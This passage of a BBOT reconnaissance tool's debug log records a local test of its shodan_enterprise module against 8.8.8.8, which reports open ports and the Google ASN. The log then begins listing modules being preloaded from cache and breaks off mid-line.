succeeded for dnsresolve (success) -2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:56:02,746 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:56:02,746 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:56:02,746 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:56:02,900 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_d1ax47ghlt -2026-03-01 16:56:02,900 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:56:03,016 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:56:03,017 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:56:03,017 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:56:03,019 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 16:56:03,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-03-01 16:56:03,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 16:56:03,121 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-01 16:56:03,122 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:56:03,123 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:56:03,124 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:03,125 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 16:56:03,125 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:56:03,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:03,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:56:03,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:03,130 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:56:03,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:03,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:03,133 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:56:03,137 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:56:03,137 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 16:56:03,137 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:56:03,138 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:56:03,139 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-03-01 16:56:03,139 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-03-01 16:56:03,140 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-03-01 16:56:03,140 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 16:56:03,140 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:56:03,235 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:56:03,236 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:56:03,237 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:56:03,238 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-03-01 16:56:03,239 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 16:56:03,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,240 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:56:03,241 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,241 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:56:03,241 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:03,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:03,244 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,244 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:56:03,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:03,246 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:56:03,247 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,247 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,248 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,248 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,249 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,249 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,250 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,250 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:56:03,251 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,251 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:56:03,252 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:56:03,252 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:03,252 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,254 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,254 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:03,254 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:56:03,255 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,255 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,256 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,256 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,257 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:56:03,257 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,257 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,258 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:03,258 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:56:03,340 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:56:03,342 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,342 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:56:03,343 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:56:03,343 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:56:03,344 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,344 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:56:03,344 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:03,345 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:56:03,346 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:56:03,346 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:56:03,347 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:56:03,347 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:56:03,347 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:56:03,348 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:56:03,348 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:56:03,449 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:56:03,450 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:56:03,469 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:56:03,469 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:56:03,470 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:56:03,477 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:56:03,477 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:56:03,478 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:56:03,479 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:56:03,480 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:56:03,481 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:56:03,596 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_d1ax47ghlt completed in 0 seconds with status FINISHED -2026-03-01 16:56:03,597 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:56:03,598 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:56:21,074 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:56:21,084 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:56:21,084 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:56:21,085 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:56:21,086 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:56:21,087 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:56:21,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:56:21,088 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:56:21,089 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:56:21,090 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:56:21,091 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:56:21,091 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:56:21,095 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:56:21,096 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:56:21,097 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:56:21,098 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:56:21,099 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:56:21,099 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:56:21,100 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:56:21,101 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:56:21,101 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:56:21,102 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:56:21,103 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:56:21,103 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:56:21,104 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:56:21,105 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:56:21,105 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:56:21,106 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:56:21,107 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:56:21,107 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:56:21,108 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:56:21,108 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:56:21,109 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:56:21,110 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:56:21,111 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:56:21,111 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:56:21,112 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:56:21,113 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:56:21,118 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:56:21,119 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:56:21,120 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:56:21,120 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:56:21,121 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:56:21,122 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:56:21,123 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:56:21,124 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:56:21,124 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:56:21,125 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:56:21,127 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:56:21,127 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:56:21,128 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:56:21,129 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:56:21,130 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:56:21,130 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:56:21,131 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:56:21,132 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:56:21,132 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:56:21,133 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:56:21,133 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:56:21,134 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:56:21,135 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:56:21,135 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:56:21,136 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:56:21,137 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:56:21,137 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:56:21,139 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:56:21,139 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:56:21,140 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:56:21,141 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:56:21,141 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:56:21,142 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:56:21,142 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:56:21,143 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:56:21,144 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:56:21,144 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:56:21,145 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:56:21,145 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:56:21,146 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:56:21,147 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:56:21,148 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:56:21,149 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:56:21,149 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:56:21,150 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:56:21,150 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:56:21,151 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:56:21,152 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:56:21,152 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:56:21,153 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:56:21,153 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:56:21,154 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:56:21,154 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:56:21,156 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:56:21,156 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:56:21,157 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:56:21,157 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:56:21,158 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:56:21,158 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:56:21,159 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:56:21,160 